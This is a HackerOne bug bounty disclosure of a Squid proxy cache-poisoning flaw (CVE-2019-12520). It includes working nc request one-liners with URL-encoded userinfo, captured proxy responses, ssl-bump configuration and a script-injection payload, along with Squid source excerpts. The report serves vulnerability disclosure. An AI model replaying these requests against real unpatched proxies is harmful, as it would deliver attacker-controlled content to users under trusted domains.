Lucene search

K
hackeroneJeriko_oneH1:824753
HistoryMar 19, 2020 - 4:44 p.m.

Internet Bug Bounty: Cache Poisoning

2020-03-1916:44:08
jeriko_one
hackerone.com
34

EPSS

0.013

Percentile

86.2%

Summary:

An attacker can cause Squid to return to the user attacker controlled data, for any domain. From Squid-4.7 and below both HTTPS and FTP could be poisoned. This is due to Squid URL decoding parts of the Request URL and using that to create a hash. Request that decode to the same URL will retrieve the same cached response even if they’re from different domains.

The fix for CVE-2019-12524 removed the HTTPS aspect of it, but FTP poisoning was still possible till Squid-4.10.

<= Squid-4.9 Vulnerable
<= Squid-4.7 Can also poison HTTPS was reduced to just FTP

Assigned CVE-2019-12520
No Announce was officially made by Squid, and was silently fixed with Squid-4.10. This was going to be announced with http://www.squid-cache.org/Advisories/SQUID-2019_4.txt, but never got published when I demonstrated their patch was incomplete at the time.

Fixed in Squid-4.10

Steps To Reproduce:

Poisoning FTP Cache in Squid-4.9

  1. Start Squid
  2. Start a FTP Server I attached a python script for this
ftp_server.py 8080 8081
  1. Make the Request to poison the cache
echo -e "GET ftp://hackerone.com%2f%[email protected]:8080/payload HTTP/1.1\r\n\r\n" |nc &lt;squid hostname&gt; 3128
nc: using stream socket
HTTP/1.1 200 Gatewaying
Server: squid/4.9
Mime-Version: 1.0
Date: Thu, 19 Mar 2020 15:57:04 GMT
Content-Type: text/plain
Last-Modified: Wed, 27 Mar 2019 19:14:54 GMT
Age: 79
X-Cache: HIT from g64
Transfer-Encoding: chunked
Via: 1.1 g64 (squid/4.9)
Connection: keep-alive

23
Hello! This is from my ftp server.

0

The FTP server should have output similar to

&lt;- 150 Here comes data
Passive Connection from: ('192.168.122.97', 51647)
&lt;- Hello! This is from my ftp server.
&lt;- 226 Data sent
-&gt; QUIT
  1. Now make the request to the actual domain
    Notice the X-Cache: HIT header
echo -e "GET ftp://hackerone.com/[email protected]:8080/payload HTTP/1.1\r\n\r\n" |nc &lt;squid hostname&gt; 3128

nc: using stream socket
HTTP/1.1 200 Gatewaying
Server: squid/4.9
Mime-Version: 1.0
Date: Thu, 19 Mar 2020 15:57:04 GMT
Content-Type: text/plain
Last-Modified: Wed, 27 Mar 2019 19:14:54 GMT
Age: 249
X-Cache: HIT from g64
Transfer-Encoding: chunked
Via: 1.1 g64 (squid/4.9)
Connection: keep-alive

23
Hello! This is from my ftp server.

0

You will get the output from the cached response instead of the real response from hackerone.com or whichever domain you’re poisoning

Poisoning HTTPS Cache in Squid-4.7

To repro the HTTPS poisoning you need to configure Squid to cache SSL request. This involves generating a root cert, and inserting some config options. https://wiki.squid-cache.org/Features/DynamicSslCert Has steps on how to achieve this. Below is what I added to my config. You will need to change the prefixes to match your system.

Replace the existing http_port 3128 entry with the following:

http_port 3128 ssl-bump \
       generate-host-certificates=on dynamic_cert_mem_cache_size=4MB \
       cert=/home/j1/h4x/squid/certs/myCA.pem
sslcrtd_program /home/j1/h4x/squid/ship/squid-4.7/libexec/security_file_certgen -s /home/j1/h4x/squid/ship/squid-4.7/var/lib/ssl_db -M 4MB

If your test certs aren’t valid (self signed for testing) you need to add the following directive in the config.

sslproxy_cert_error allow all

Finally you’ll need to initalize the SSL DB that you’ve told Squid to use. This is the -s option in sslcrtd_program

./libexec/security_file_certgen ./var/lib/ssl_db -c -s ./var/lib/ssl_db -M 4MB

You’re also going to need a server with SSL that you can control the headers on.
You have to send the following header so that Squid will cache your response.

Cache-Control: public, immutable, max-age=31536000

Once you’ve done that you’re ready to repo HTTPS poisoning which is essentially the same as our FTP Poisoning.

  1. Start Squid
./sbin/squid
  1. start you SSL Server

  2. Make a poison request

echo -e "GET https://hackerone.com%2f%[email protected]:8080/html/alert.html HTTP/1.1\r\n\r\n" |nc &lt;squid hostname&gt; 3128

nc: using stream socket
HTTP/1.1 200 OK
Server: SimpleHTTP/0.6 Python/3.6.10
Date: Thu, 19 Mar 2020 16:17:46 GMT
Content-Type: text/html
Content-Length: 74
Last-Modified: Mon, 22 Apr 2019 23:18:08 GMT
Cache-Control: public, immutable, max-age=31536000
X-Cache: MISS from g64
Via: 1.1 g64 (squid/4.7)
Connection: keep-alive

&lt;html&gt;
	&lt;body&gt;
		&lt;script&gt;alert(document.domain)&lt;/script&gt;
	&lt;/body&gt;
&lt;/html&gt;
  1. Make the request to the real domain
    Notice the X-Cache: HIT header
echo -e "GET https://hackerone.com/[email protected]:8080/html/alert.html HTTP/1.1\r\n\r\n" |nc &lt;squid hostname&gt; 3128
nc: using stream socket
HTTP/1.1 200 OK
Server: SimpleHTTP/0.6 Python/3.6.10
Date: Thu, 19 Mar 2020 16:17:46 GMT
Content-Type: text/html
Content-Length: 74
Last-Modified: Mon, 22 Apr 2019 23:18:08 GMT
Cache-Control: public, immutable, max-age=31536000
Age: 334
X-Cache: HIT from g64
Via: 1.1 g64 (squid/4.7)
Connection: keep-alive

&lt;html&gt;
	&lt;body&gt;
		&lt;script&gt;alert(document.domain)&lt;/script&gt;
	&lt;/body&gt;
&lt;/html&gt;

Analysis

When making a request Squid will check its cache to see if it has a response
that it can serve up. When squid determines that a reply can be cached it uses
a combination of METHOD, absolute URL, and possible vary headers to form a
MD5 hash.

This takes place in storeKeyPUblicByRequestMethod

    SquidMD5Update(&M, &m, sizeof(m));
    SquidMD5Update(&M, (unsigned char *) url.rawContent(), url.length());

Similar to the ACL Bypass vuln I reported earlier this abuses that the userInfo is decoded and is stored as part of the url. So when url is used to update the hash it’s using a decoded string

effectiveRequestUri() will return url.absolute() for methods that aren't
CONNECT and schemes that aren't PROTO_AUTHORITY_FORM

 Looking at Uri::absolute we see that the userInfo is included into the
 absolute uri representation if the protocol is HTTPS

             const bool omitUserInfo = getScheme() == AnyP::PROTO_HTTP ||
                                      getScheme() != AnyP::PROTO_HTTPS ||
                                      userInfo().isEmpty();
            if (!omitUserInfo) {
                absolute_.append(userInfo());
                absolute_.append("@", 1);
            }

userInfo is set in Uri::parse if the foundHost contains a @ that
the userinfo is extracted and then decoded.

        t = strrchr(foundHost, '@');
        if (t != NULL) {
            strncpy((char *) login, (char *) foundHost, sizeof(login)-1);
            login[sizeof(login)-1] = '\0';
            t = strrchr(login, '@');
            *t = 0;
            strncpy((char *) foundHost, t + 1, sizeof(foundHost)-1);
            foundHost[sizeof(foundHost)-1] = '\0';
            // Bug 4498: URL-unescape the login info after extraction
            rfc1738_unescape(login);
        }

This is eventually stored in userInfo when calling parseFinish
parseFinish(protocol, proto, urlpath, foundHost, SBuf(login), foundPort);

This userInfo is the decoded version, therefore special tokens such as ? # /
are possible entries in the userInfo.

It’s possible to have a cache entry for one domain, be used for another
domain. Leading to possible HTML/JS execution in a target domain. The
requirement being that it must have the HTTPS protocol.

This can lead to Squid serving the wrong
Reply as multiple request from different domains can look similar.

Take for example the following:
https://squid-cache.org%2F%[email protected]:8080/

The reply from 192.168.1.23 would decode to
https://squid-cache.org/[email protected]:8080/
And the reply would be stored

Now if a real request for squid-cache.org came in with a similar URL
https://[email protected]:8080/
The cached reply would be served, and any scripts that were returned by
the original request would now be running in squid-cache.org context.

Impact

Attacker can poison the Cache causing users to receive attacker controlled data when going to a trusted domain.
Squid-4.9 And below allows an attacker to poison FTP responses, a user could download attacker controlled data thinking it came from a legitiment source.

<= Squid-4.7 Can also poison HTTPS allowing attacker controlled content to run in another domain.

These both require a user to visit a specially crafted URL.